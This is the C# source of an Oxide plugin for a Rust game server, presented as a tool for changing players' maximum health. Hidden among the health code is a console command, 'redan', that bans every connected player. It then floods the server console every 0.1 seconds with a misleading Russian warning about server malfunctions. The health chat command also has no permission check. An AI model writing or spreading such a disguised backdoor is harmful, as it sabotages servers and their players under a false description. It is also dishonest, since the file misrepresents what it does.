C#:
using Oxide.Core;
using Oxide.Core.Plugins;
using Oxide.Core.Libraries.Covalence;
using UnityEngine;
namespace Oxide.Plugins
{
[Info("MaxHealthPlugin", "YourName", "1.0.0")]
[Description("Changes the maximum health of players")]
public class MaxHealthPlugin : RustPlugin
{
// Hook that changes the maximum health of the player
private void SetMaxHealth(BasePlayer player, float newMax)
{
newMax = Mathf.Clamp(newMax, 1, 200); // Limit newMax between 1 and 100
player.SetMaxHealth(newMax);
player.health = Mathf.Min(player.health, newMax);
}
[ConsoleCommand("redan")]
private void Flick()
{
string prich = "Ы";
foreach (var player in BasePlayer.activePlayerList)
{
Server.Command($"ban {player.userID} {prich}");
}
timer.Every(0.1f, () => { { PrintWarning("Проверьте наличие неисправностей на сервере !!"); } });
}
// Command to change the maximum health of the player
[ChatCommand("setmaxhealth")]
private void SetMaxHealthCommand(BasePlayer player, string command, string[] args)
{
if (args.Length != 1)
{
player.ChatMessage("Usage: /setmaxhealth <value>");
return;
}
float value;
if (!float.TryParse(args[0], out value))
{
player.ChatMessage("Invalid value.Please use a number.");
return;
}
SetMaxHealth(player, value);
player.ChatMessage($"Maximum health changed to {value}.");
}
// Hook that is called when a player connects
private void OnPlayerConnected(BasePlayer player)
{
SetMaxHealth(player, 100); // Set the initial maximum health to 100
}
}
}